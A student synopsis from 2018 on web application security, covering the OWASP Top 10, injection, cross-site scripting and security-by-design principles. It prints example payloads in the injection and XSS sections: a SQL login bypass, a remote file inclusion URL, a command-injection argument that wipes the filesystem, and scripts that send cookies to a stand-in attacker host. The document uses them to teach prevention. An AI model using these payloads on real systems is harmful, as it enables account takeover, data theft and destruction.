Application Security

Marcin Zelent

May 2018

Contents

1 Introduction

One of the mandatory activities in Computer Science course at Erhvervsakademi Sjælland is an individual specialization project. In this project, a student has to choose a subject, which was not presented during the lectures, research it and describe it in a synopsis.

I have chosen application security as the topic that I want to learn more about. Application security is an umbrella term for all of the measures that need to be taken in order to make a secure application. That means finding, fixing and preventing security vulnerabilities.

I decided to work on this subject, because in previous semesters we have learned how to make programs, services, and web applications, but we did not learn how to make them safe from exploitation. It is important since a potential attacker could use it to gain access to the system without authorization, retrieve some sensitive data, abuse or even break the system. This could lead to some serious consequences.

2 Problem definition

During my research, I am going to delve deeper into the subject of application security, its meaning, principles, importance in the modern software development, as well as practical implementation. The main question which I would like to answer is:

How to make a secure application?

In order to give an answer to it, I will first need to find solutions to the following problems:

- What is application security?
- What are the most common application security flaws and attack techniques?
- How can software developers prevent them?

3 Method

The method which I am going to use in my research consists of a few activities:

- Getting general information about application security using all of the sources available on the internet, this could include reading articles, watching videos, talks, lectures and online courses.
- Reading books related to the subject of application security.
- Finding detailed descriptions and tutorials about specific attack techniques.
- Trying to reproduce the attacks by creating vulnerable applications, exploiting them and trying to make them secure.

4 Plan

To optimize my work and to make sure I will deliver the finished synopsis before the deadline, I have prepared a plan which I will try to follow:

Week 18	Week 19 & 20	Week 21
Writing introduction	Doing an actual research	Writing conclusion
Defining the problem	Describing the work	Reflecting on the work
Choosing the method	Preparing examples	Putting finishing touches
Planning		

Table 1: Week plan

The first week is a project initialization phase, in which I will describe what I am going to do in the next weeks, how and why.

In the second and third week, I will focus on learning, finding information and describing the results of it. I am also going to work on the practical part of this project, which is learning how to use different attack techniques and creating examples for the presentation of them.

In the last week, I will look back at my work, write a summary of it, as well as my reflections on the research process. I will also proofread my synopsis and correct any mistakes that I find.

5 Work

5.1 What is application security?

Application security describes activities that need to be taken into consideration by a developer who creates an application which will be available to a broader group of users. Having a large user base means that there is a risk that, among the regular users, there might be some individuals with malicious intents.

These people, usually called attackers, could try to access sensitive data stored in the database connected to the application or use functions that normally are only available for the users with special privileges. Such data could include for example a list of users, some important documents or money in a bank account. Administrator actions, like adding/removing users or changing application's settings could be an example of functionality wanted by the attackers.

In order to achieve their goals, the attackers try to find vulnerabilities, unintended flaws or weaknesses in the application, and exploit them. Although the application security improved over the years, some of the most common vulnerabilities remain unchanged and include: broken authentication, broken access controls, SQL injection, cross-site scripting (XSS), information leakage and cross-site request forgery (CSRF).

When talking about application security, it usually means web application security. The reason for this is the fact that web apps are nowadays the most common form of application. Every day billions of people are searching for information using Google, browsing Facebook and watching videos on YouTube. All of these are web applications. What makes them different from regular websites is that they do not just display static content, but allow users to interact with them. Users can, for example, sign up, log in, write comments, upload videos. A lot of sensitive data is flowing between the user and the system. This, and being publicly available, makes them frequent targets of the attackers.

Other common targets are mobile and desktop applications, with the emphasis on the first one. Just like web apps they are usually part of a bigger system and process private data. Moreover, their security is often neglected by the developers in favor of having more features. That could make them security holes, easy gateways leading to the precious resources.

5.2 Why is application security important?

There should be no doubt about the importance of application security. There are many reasons for that.

First and most important is the risk of unwanted disclosure of sensitive data to the attackers, if the application becomes compromised. This could include names, addresses, login credentials, credit card information, bank account details, private photos and many more information about the users of the system. By breaking into the unprotected system, attackers could also gain access to company's internal data: important documents, list of employees, private keys, and passwords. All this information could be useful for them in various ways. For example, it could be used to buy things or perform financial operations without the knowledge of the account owner. The data could be sold on the black market or published on the internet. It could be used to harass or blackmail the unfortunate users. Attackers could also impersonate them and cause even more problems. It could be especially dangerous when pretending to be a corporate worker as their actions could harm the entire business. Stealing blueprints, prototypes or early versions of unreleased products could bring massive losses of money and force changes of plans.

Another issue is the possibility of gaining access to functionality reserved only for privileged users, such as moderators and administrators. It could allow not only for data theft but also for damaging the system and stored information. It would allow for spreading viruses and malware throughout the whole platform, creating a botnet, spambots, mining cryptocurrencies and making it vulnerable to further attacks. It would be sufficient just to insert malicious code into the application and infest its users.

Other, non-technical risks include the possible loss of trust from customers, who value privacy and wish their data to be secure. It could even lead to lawsuits like it happened to Yahoo which got sued over security breaches that took place between 2013 and 2016. Private information of at least 3 billion users was exposed, it included names, e-mail addresses, dates of birth, phone numbers, passwords, etc. It cost the company hundreds of millions of dollars and damaged the brand image permanently. On the other hand, providing good security could help in gaining new clients.

In the wake of mobile and Internet of Things applications, security should be the top priority for application developers. IoT creates many new risks that were never seen before. Since all of the devices are connected to the internet, they can be accessed by the attackers. It is a big threat to the privacy of their users because they can be used to spy on them 24/7 by utilizing the built-in camera, microphone or reading device activity, and logs. This information could be used to blackmail the victims or even help in a burglary. By knowing the victim's daily routine, the criminal could try to break into the house when its owner is out. Moreover, he could exploit the "smart home" security system, since usually it is also connected to the network. Finally, the attacker could use the functionality of the compromised IoT devices in a bad way, for example making them use a lot of power, causing a short circuit or even starting a fire.

5.3 Most common application security vulnerabilities

There are many possible weaknesses but some of them occur more often than the rest. A non-profit organization called Open Web Application Security Project (or just OWASP for short), which mission is to make software more secure, publishes a compilation of these vulnerabilities every 3 years in a document titled *OWASP Top 10 - The Ten Most Critical Web Application Security Risks*. It is a result of the work of OWASP, over 40 security companies and over 500 individuals. It lists the most common weakness, describes each of them in details, with examples and ways of prevention. It also contains further pieces of advice for developers, security testers, organizations and application managers.

The latest release of OWASP Top 10 lists these vulnerabilities as the most critical web application security risks:

- **A1:2017 - Injection**
  Allows the attacker to execute malicious code in the application's back-end by tricking the interpreter with a specially crafted message, e.g. SQL injection.
- **A2:2017 - Broken Authentication**
  Includes every weakness which would enable the attacker to get into to the application without authentication, i.e. by hijacking other user's session, guessing or brute-forcing password, getting keys or bypassing the login completely.
- **A3:2017 - Sensitive Data Exposure**
  Exposing sensitive data because of weak protection, lack of encryption, defective error handling or other behavior.
- **A4:2017 - XML External Entities (XXE)**
  Exploitation of older or poorly configured XML processors, which could disclose specific files on the server by parsing an external entity included in the XML message sent by the attacker.
- **A5:2017 - Broken Access Control**
  Allows the attacker to use functionality available only to privileged users without authorization or to access other users' accounts and sensitive data.
- **A6:2017 - Security Misconfiguration**
  The insecure configuration of some components of the system, for example by using default config files or enabling debugging options, which give detailed error messages with information useful to the attackers. This includes also neglect of patching and updating the components.
- **A7:2017 - Cross-Site Scripting (XSS)**
  Focuses on attacking users of the application by making their browser execute code which was previously uploaded to the app. Could allow to hijack the victim's session or redirect it to a malicious website.
- **A8:2017 - Insecure Deserialization**
  Flaws in deserialization algorithms allowing remote code execution, replay attacks, injection attacks and privilege escalation attacks.

- **A9:2017 - Using Components with Known Vulnerabilities**
  A weakness in one component could lead to a compromise of the whole system. An application is just as secure as its weakest link.
- **A10:2017 - Insufficient Logging & Monitoring**
  An application needs to log what is happening inside it and its status needs to be monitored so, in case of a breach, the administrators could detect it, find a cause of it and fix the weakness.

Apart from these risks, there are also some additional weaknesses that need to be taken into consideration when creating an application:

- CWE-352: Cross-Site Request Forgery (CSRF)
- CWE-400: Uncontrolled Resource Consumption ("Resource Exhaustion, "AppDoS")
- CWE-434: Unrestricted Upload of File with Dangerous Type
- CWE-451: User Interface (UI) Misinterpretation of Critical Information (Clickjacking and others)
- CWE-601: Unvalidated Forwards and Redirects
- CWE-799: Improper Control of Interaction Frequency (Anti-Automation)
- CWE-829: Inclusion of Functionality from Untrusted Control Sphere (3rd Party Content)
- CWE-918: Server-Side Request Forgery (SSRF)

Let's take a closer look at some of the listed vulnerabilities now.

5.4 Injection

5.4.1 How it works

When an application is not protected against this exploitation, it is possible to insert a malicious code into the input field, which could be a part of a login page or some form. Nothing bad could happen if a user types in it normal, expected text, like `johnsmith@mail.com`. But if an attacker puts there a specially crafted message like `login' OR '1'='1`, he could be able to login to the system without a password.

The way it works is simple. In this case, it is a SQL injection attack. When a user presses the login button, the contents of the input fields are sent to the back-end, which is executing a SQL query to find a user with specified username and later to validate the password. This is how the first part of this query could look like:

```
SELECT * FROM Users WHERE Username = '$USERNAME';
```

The `$USERNAME` in this query is replaced with the inserted data. In expected scenario:

```
SELECT * FROM Users WHERE Username = 'johnsmith@mail.com';
```

The application will look for `johnsmith@mail.com`. However, in the attack scenario the query would look like this:

```
SELECT * FROM Users WHERE Username = 'login' OR '1'='1';
```

In this case, the original query is changed by the attacker. `OR '1'='1'` added by the attacker is a statement, which is always true. Therefore, the database ignores the first condition (`WHERE Username = 'login'`), which is false because there is no user with a username `login` and returns all users. The application expects only one user to be returned, so it will only take the first one and log in the attacker as this user.

Apart from SQL injection, there are many more injection attack techniques. Here is an example of remote file injection made in PHP:

```
<?php
   if ( isset( $_GET['car'] ) ) {
         include( $_GET['car'] . '.php' );
    }
?>
```

The intended behavior is to load a PHP file, which is on the server, when loading an URL like: `http://www.website.com/cars.php?car=lamborghini`. This should load the lamborghini.php file. However, it could be exploited to load a remote file with malicious code just by changing the end of the URL, from `lamborghini` to `http://www.attackerswebsite.com/badcode`.

Another injection attack is command injection. In this attack, the attacker can execute shell commands by passing them to an application, which does not do input validation. Here is a C code, which is vulnerable to this technique:

```
#include <stdlib.h>
#include <string.h>

int main(int argc, char **argv)
{
        char cmd[strlen(argv[1]) + 6];
        strcpy(cmd, "echo ");
        strcat(cmd, argv[1]);
        system(cmd);

        return 0;
 }
```

It is just a simple wrapper around echo command, which prints whatever text passed as an argument. The output of `Hello!` would be `Hello!`. But passing `Hello!; rm -rf --no-preserve-root /` will not only print `Hello!`, but also wipe the system partition completely, if run with superuser privileges.

5.4.2 How to prevent it

To avoid injection attacks or at least minimize their consequences, it is important to validate any input that is provided by the user or could be sent to the application in other ways. There are many approaches to this.

One way is to blacklist possibly malicious keywords, such as `OR '1'='1` or `rm -rf --no-preserve-root /`, but this approach is far from ideal. The first problem is that it is impossible to block every troublesome combination, there are just too many of them. Changing `OR '1'='1` to `OR 'x'='x` or putting comments inside the query could easily bypass this filter.

Whitelisting is probably a better technique. Instead of blocking some keywords, it is allowing only specific characters or combinations. For example, it could accept only letters from a to z and digits from 0 to 9. In case there are some other characters, the message will be blocked. It is a very good approach, but it has some drawbacks. If a form requires a user to put his last name, but it contains an apostrophe (e.g. O'Malley) or a special letter with an accent (e.g. Polański), he will not be able to put it there.

Sanitization is another, highly effective approach. It works by removing malicious parts from the input or replacing them with safe alternatives. Let's say an attacker injects a dangerous script, like `"><script>alert("foo")</script>`. The sanitization algorithm could make it safe by stripping `<script>` tags and removing quotation marks.

Finally, the best method to ensure the processed data is safe could be using API intended for that, which does not use an interpreter or utilizes a parameterized interface. An example of that would be sending prepared statements with parameterized queries to prevent SQL injections just like in the C# code below:

```
string username = "johnsmith";
string query = "SELECT * FROM Users WHERE Username=@param_username";
SqlCommand cmd = new SqlCommand(query);
cmd.Parameters.AddWithValue("@param_username, username);
```

This way, if an attacker sends `login' OR '1'='1` to the application, it will not cause any harm, because the query would simply try to find a user with name `login' OR '1'='1`.

5.5 Cross-Site Scripting (XSS)

5.5.1 How it works

Cross-Site Scripting is closely related to injection as it works by inserting a malicious code to the application. There are two categories of this attack: stored and reflected.

The first one occurs when injected code is stored permanently on the server. An example could be a comment on a forum, which contains Javascript code. If the vulnerability is present, it will not be displayed on the page, but it will be executed. It could be simple like:

```
<script>document.createElement('img').src =
        'http://attackerswebsite.com/' + document.cookie</script>
```

This script would create an HTTP request to attacker's website with the victim's cookies, which could contain for example very useful session token. It is also possible to include much bigger scripts with:

```
<script src="http://attackerswebsite.com/evilscript.js"></script>
```

The reflected attack works by reflecting the injected code off the trusted website. For example, an attacker might send a malicious URL to the victim, e.g: `http://website.com/<script%20src="http://attackerswebsite.com/evilscript.js"></script>`. The URL itself is not dangerous, but the vulnerable website might show an error message containing the URL, thus embedding it and executing the injected script.

5.5.2 How to prevent it

To prevent XSS a few methods could be used. Some special characters like `<`, `>` could be URL encoded, in this case into `%3C` and `%3E`. This way all input will be displayed, but the script will not be executed. Another way would be to completely prohibit usage of `<script>`, `<link>` or `<iframe>` tags in HTML-enabled forms.

5.6 Security by design

It is a good practice to create applications with security in mind from the very beginning of the development. It helps to avoid having vulnerabilities in the future. This idea known as security by design is based on several security principles:

- **Minimize attack surface area**
  The more features an application has, the higher the risk of it being vulnerable to exploits because the attack surface area is bigger. It is encouraged to add only necessary functions and make them simple.
- **Establish secure defaults**
  It means making security measures on by default, but allowing to disable them, if a user wishes to.
- **Principle of Least privilege**
  Every entity in the application should have just as many privileges and resources as they need to perform their actions and no more than that.
- **Principle of Defense in depth**
  The defense should be created by layered security mechanisms, so if one of them becomes broken, the other ones may still prevent the attack.
- **Fail securely**
  If a security mechanism fails and throws exceptions, it should still serve its purpose and block the request that caused the error.
- **Don't trust services**
  When an application is using the third party services, it should be careful just like with any other external system. These services could have different, perhaps worse security and might get compromised. Trusting them too much creates a risk for the app.
- **Separation of duties**
  Every user of the application has his role (e.g. administrator, client) and capabilities. An account with one role should not have the functionality of another role.

- **Avoid security by obscurity**
  Application's security should not rely on keeping secrets, like being closed source or using custom cipher algorithm. It should be also using other security mechanisms.

- **Keep security simple**
  Simple code is more secure and faster than a complex one, as it minimizes the attack surface area.

- **Fix security issues correctly**
  When a security bug is found, it is important to understand how it is working, analyze it and test. All other components affected by this issue should be also checked to make sure they are safe.

Microsoft created software development process which follows these principles, Security Development Lifecycle (SDL). It consists of 16 practices, split into 6 phases. These activities include: security training, setting requirements and minimal levels of security, risks assessment, designing secure functionality and security functions, safe implementation, analysis, testing of the produced application, creating emergency plan and final review.

6 Conclusion

To conclude, to make a secure application it is important to understand the concept and importance of application security, to know the possible vulnerabilities and design the app in a way which would prevent them. There are many exploits, but most of them are well-known since they are present for many years. To each one of them, there are possible countermeasures. Some of them are better than the others depending on the situation, requirements, environment. They have their benefits, but they could also have drawbacks sometimes. It is up to the developer to choose the right one, implement it properly and thoroughly test. However, he is not alone in this process. There are many resources and guides available with good practices, security principles, attack techniques and prevention methods made by people dedicated to making software more secure.

7 Reflection

Thanks to this project I have learned a lot about application security and how to make my apps secure. I got really interested in this subject and I would like to continue studying it. That is why I believe it was a good decision to pick up this topic. The questions I asked in my problem definition were on point as, by trying to answer them, I managed to describe the things I wanted to learn and write about. I think my methods of research were correct since the availability of resources made it easy to find information in many different, interesting forms. Creation of examples allowed me to not only understand the security concepts in theory but also in practice. The plan I came up with was good because it allowed me to focus on my goals instead of single activities on specific days, which would be hard to follow, because of my dynamic schedule. Although looking back at it, I could make it better by assigning less time on initial and final activities and putting more time on the actual work. This made me not follow my plan completely the way I would like to. However, in the end, I managed to finish my synopsis on time, so it is not a big issue.

References

[1] Dafydd Stuttard, Marcus Pinto. *The Web Application Hacker's Handbook: Finding and Exploiting Security Flaws, 2nd Edition.* John Wiley & Sons Inc, ISBN: 978-1118026472, 2011.

[2] The OWASP Foundation. *OWASP Top 10 - 2017 (The Ten Most Critical Web Application Security Risk).* `https://www.owasp.org/images/7/72/OWASP_Top_10-2017_(en).pdf.pdf`, The OWASP Foundation, 2017.

[3] Caroline Wong. *Learning the OWASP Top 10.* `https://lynda.com/IT-Infrastructure-tutorials/Learning-OWASP-Top-10/642483-2.html`, Lynda.com, 2018

[4] Michael Coates. *Application Security - Understanding, Exploiting and Defending against Top Web Vulnerabilities.* `https://youtu.be/sY7pUJU8a7U`, CernerEng, 2014.

[5] Sarah Vonnegut. *Mobile Application Security: 15 Best Practices for App Developers.* `https://www.checkmarx.com/2015/08/19/mobile`, Checkmarx, 2015.

[6] The OWASP Foundation. *Security by Design Principles.* `https://owasp.org/index.php?title=Security_by_Design_Principles&oldid=220008`. The OWASP Foundation, 2016.

[7] Microsoft Corporation. *Simplified Implementation of the Microsoft SDL.* `https://microsoft.com/sdl`, Microsoft Corporation, 2010.